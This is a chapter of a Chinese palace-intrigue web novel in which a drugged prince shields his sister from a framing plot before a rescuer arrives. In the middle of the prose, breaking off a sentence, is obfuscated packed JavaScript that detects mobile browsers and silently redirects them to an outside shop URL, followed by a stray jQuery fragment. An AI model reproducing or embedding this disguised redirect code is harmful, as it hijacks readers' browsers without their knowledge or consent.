文趣网 > 其他小说 > 废太子怪我始乱终弃 > 18.第18章
    魏钧一路走回沐韶宫,渐渐觉得不对劲起来。他自小习武,身体好得很,怎么会无故发热?尽管落水受伤又吹风,也不至于此。

    他额头见汗,热意如熔铁蹿过全身,往下腹汇聚。支撑着往沐韶宫西侧走,他两世都不曾收用过什么人,但再没经验也知道是遇到了什么事。

    好在入了离宫后,人群渐次散开,他又是被安排在最末,有些异常也没有人察觉。

    是那杯酒……是他大意了。那杯裂酒撒的戏码不过是虚晃一枪,真正的手段等在那第二杯酒。

    呵……他呼出一口灼烫的空气,闪身躲入墙角,避开巡防的禁卫。

    魏钧知道,他已入瓮,他的行踪对方必然了如指掌。但他这般情态,不能叫更多人看见,否则不知会传出什么流言蜚语。

    是谁下的手,他的后招是什么?是要给他安一个贪色纵欲、秽乱宫闱的罪名?那会是谁在等他?

    哪宫的宫女,哪家被放弃的庶女,还是他的好父皇新纳的美人?抑或是,干脆给他送一个精心教养的美貌娈童……

    静和小筑不能回。

    魏钧扯开肩头裹伤的纱布,双指一并,硬生生将伤口再次撕开。鲜血滴落,勉力保持清明。

    他举目四顾,凭着在这座离宫被关押五年的认知,找准了方向。托他们为了折辱他,故意让他充当粗使杂役的福,他就近找到了间空屋。

    推门而入,他反手将门阖上。

    屋内陈设简陋,积了一层薄灰,博古架前站了个人,正背对着门打量上面孤零零的花瓶。少女一身宫女服饰,可只消一个背影,魏钧就绝不会认错——是昭华。

    那一刻,滔天怒意在胸中漫卷、翻涌,他们怎么敢!他想过一切可能,却没料到——他们恶毒至此!

    罔顾人伦、毫无底线——该死!

    这时,昭华公主听见关门声,转过身来。

    她满脸惊喜,像只灵巧的小鹿,雀跃着跑近:“阿兄你真的来了,沈率没有骗我!阿兄你怎么样,肩上的伤还好吗?太医看了怎么说?有没有好好用药?”

    她的提问一个接一个,那声音在魏钧耳边化成阵阵嗡鸣。

    他满目通红,是怒,是恨,是痛,是悔。

    原来是沈烜这条狗……重生后的一切都不同了,他却还愚蠢地以为自己占尽先机,稳操胜券。是他的狂傲,造成了此间局面。药物摧折他的理智,他开始后悔没有一开始就发动宫变,哪怕胜算很小,但只要能拼死杀尽父皇和兄弟,也不是不可能。

    至于沈烜,当剐刑而死!

    只短短一瞬,他已将这场谋划推演清晰。脑中烈火燎原,思绪却在对上昭华明亮的双眸后,变得愈发清明。

    他落水后换了深色衣袍,昭华公主闻到血腥气才发现他的伤口仍在流血。她惊慌伸手去碰,被他身上惊人的热度烫得下意识缩了手。

    “阿兄,你身上好烫。怎么了,是受了风寒发热了吗?怎么办?”

    她急得像热锅上的蚂蚁,四处张望想找找这屋子里有什么能用上的。

    魏钧垂眸,深吸一口气,做了决定。

    “阿昭,他们不会给我多少反应时间。接下来阿兄的话,你听好。”

    昭华公主脚步顿住,慌忙回身看过来。

    “不是风寒,他们给我下了药……”话到嘴边,他还是感觉到深深的难堪,他的妹妹才十四岁,却要被迫面对如此脏污。

    “什么药?阿兄你还好吗?”昭华公主已红了眼眶,她匆忙过来要扶住兄长,却被兄长躲开。

    “别碰我……是□□。”

    昭华公主只觉得被人当头一棒,她十四岁了,已经是可以议亲的年纪,怎么会懵懂到这句都听不懂。

    她愣在当场。

    “阿兄想要护你一辈子,但覆巢之危,再任你天真便是害了你。稍后若是有人闯进来,见到你我……阿兄之情状,不会有人给我们辩解的机会。悖弃人伦……你的名节就永生永世,再也无法挽回了。”

    她紧紧掩住唇,泪水蜿蜒而下。

    “我猜沈烜说可以帮你来见我?”

    昭华重重点头:“是我太傻了……我以为是我主动提起要他帮忙,就信了他。没想到他是以退为进,诓骗于我。阿兄,是阿昭害了你……我本来是去找父皇的……”

    魏钧闻言,没等她说完,便仰头大笑起来。他笑得恍若癫狂,怒到极致,恨到极致,就连笑,都冰寒刺骨。

    “父皇?这一切都是他的授意……我猜沈烜不过是正好遇到了你,便给这毒计再添一把火,行李代桃僵罢了。”

    “不信?你看那是什么。”

    他抬手往角落一指,因为拼尽意志力地压抑和自控,痛苦到指尖都在轻颤。

    昭华公主看到了椅侧地上的一支金簪。

    “内造的步摇,是今春最时兴的样式……”她惊讶不已,心中惊涛骇浪,已明白了阿兄要说什么。

    这说明什么,还能说明什么。

    “原本在这的一定是他的新宠,李美人,赵美人,还是栾昭仪。还有谁,能拿他的新宠设局?”

    半晌,昭华公主才从这巨大的冲击中回过神来。君不君,父不父,她才十四岁,不知道如何面对此等巨变。

    “为什么啊?为什么,他不是我们的父皇吗?”她泣不成声。

    “因为他怕了。我已长成,威胁到了他身下的龙椅。”

    魏钧艰难地说出这一句,按在身侧花几上的手已快要支撑不住。

    他尽力指了方向,沉声道:“阿昭,你别怕,阿兄不会让你有事……从那里,后窗那里爬出去……沿墙往西一直走,草丛后会有一个……一个狗洞。你从那里爬出去,藏到那个院子里,等,等开宴……你再回去换衣。”

    “谁也不要信……阿兄会让人接应你,只认我的印信,懂了吗?”

    他说到最后,声音紧绷得——不只是因为药力,更是因为后怕。

    今日见面后第一次,魏钧向她伸出手。他用颤动的指腹拮去她颊边泪珠,动作是那样的小心,仿佛她是什么易碎的珍宝。从小到大,他都是这样替她擦泪的。

    他以为自己能护她一辈子,可今日让她深陷险境的,恰恰是他这个阿兄。

    他的手顿了一瞬,喉结滚动,终究什么也没再多说。只是像无数次做过的那样,轻轻抚过她的发顶。

    “阿兄!”

    昭华公主见到昔日渊渟岳峙的兄长已仿佛站立不住,伸手就要去扶,被魏钧一把推开:“走!”

    那一刻,长大只是一瞬间,从波光潋滟到静影沉璧。她深深望向庇护他长大的兄长,没有犹豫,没有踟蹰,她抓起那支步摇,擦干眼泪,往他指引的方向跑去。

    她会保护自己,她不会被人抓到,她不会再被人诱骗!

    魏钧推倒了花几、桌椅,砸碎了博古架上唯一的那个花瓶,以遮掩昭华翻窗的动静。

    他失踪这么久,他的人也该反应过来了,一定会在外面撕开口子。昭华可以趁机跑出去,只要穿过那处狗洞,就安全了。

    那里鲜有人至,他曾多次在那里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548405|203877||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    躲藏。

    昭华没有回头。

    不是不想,是不敢。她怕自己一回头,就再也迈不动步子。

    狗洞很窄,她侧着身子挤过去,裙角被枯枝勾住,她一把扯断,没有犹豫。手心被碎石磨破了,她没感觉到疼。眼泪模糊了视线,她抬手狠狠擦掉。

    十四年来,阿兄为她挡去了所有风雨。她从不知道,风雨落在身上是这样冷,这样疼。

    但现在她知道了。

    她不会再让阿兄一个人扛。

    屋内,魏钧脱力躺倒在地,掌心被攥紧的碎瓷片割出深重血痕,他无声狞笑——他要清醒着看到,会是谁,第一个赶来看这场好戏。

    凝宸殿,华灯初上,众人渐次入席。

    陆澄观四下环顾,没有看到魏钧的身影。他有些不安,刚才从镜川回来,他就没看到魏钧。他一直留意着,也没见人回静和小筑。

    惊尘快步而来,神色严峻,他立刻迎上去问:“还没有消息?”

    惊尘低声:“找到了,但靖王也正往那边去。”

    “走。”陆澄观二话没说,毫不犹豫起身离席。

    他边走边问:“人怎么样?”

    惊尘摇头,同样目露担忧:“没有见到人。几个铁鸦守着,形势不明,不好贸然硬闯。”

    陆澄观轻笑:“那还真是等着我这个钩盾使去闯了。”

    说话间,他们已经出了凝宸殿外的花园。为了在靖王那边抢占先机,他拿出了体育考试一千米的架势,瞬间加速跑成了一道风。

    “一会能引走的引走。”

    惊尘轻松追上来,超过他,自然无比地接话:“不能引走的杀了?”

    陆澄观白他一眼:“不能引走的打晕!”

    太子十率府训练有素,留下的都是精锐。陆澄观跑到地方,跑在前面引路的惊尘几个手势,他们已经执行完“引走、打晕”的任务。他们办事太利索,以至于陆澄观根本不减速,径直推门就冲了进去。

    可一开门,仅仅是看到的第一眼,就让他脚步骤停。一个反手,砰一声关上了门。

    汗湿重衣,绯云连绵,蓬勃的欲意透骨而出。魏钧深重喘息,以手肘支地撑起上半身,那双眼仿佛淬了火,隔着天色明灭锁定他,几乎将他钉穿在门扉。

    陆澄观心跳一瞬失速……他知道他是中了那什么药,这古代衣料太软滑,一眼看去穿着仿佛没穿,该起起,该凸凸,衣袍什么都遮不住。

    他不是故意要乱想的,但是crush在他面前这么欲,他真的很难控制乱飘的心思和眼睛。

    而且——他见过魏钧矜贵端方的样子,见过他隐忍克制的样子,见过他锋芒毕露的样子,唯独没见过他这么……失控的样子。

    陆澄观在心里默念了三遍“我是来救人的”,才勉强把杂念压下去。

    但也只是勉强。

    他不得不紧紧阖上眼,以平复那乱七八糟的心跳和理智。

    为什么魏钧遭难,受罪的总少不了他一个?落水也是,中毒也是……

    殊不知,他在看魏钧,魏钧也在看他。

    他突然想起之前的猜想——给他送精心教养的,美貌,娈童。

    陆澄观肤白若雪,看他一眼便羞红到耳根。呵,若不是年纪大了些,还真像那么回事。

    意志如风中残烛,他不由自主地回想起重生后,他们初见的那一面——他眸含春水,薄雾笼身,看过来的眼神热烈、纯澈,跃动着勃勃生机。

    陆澄观走近,他和魏钧同时向对方伸出了手。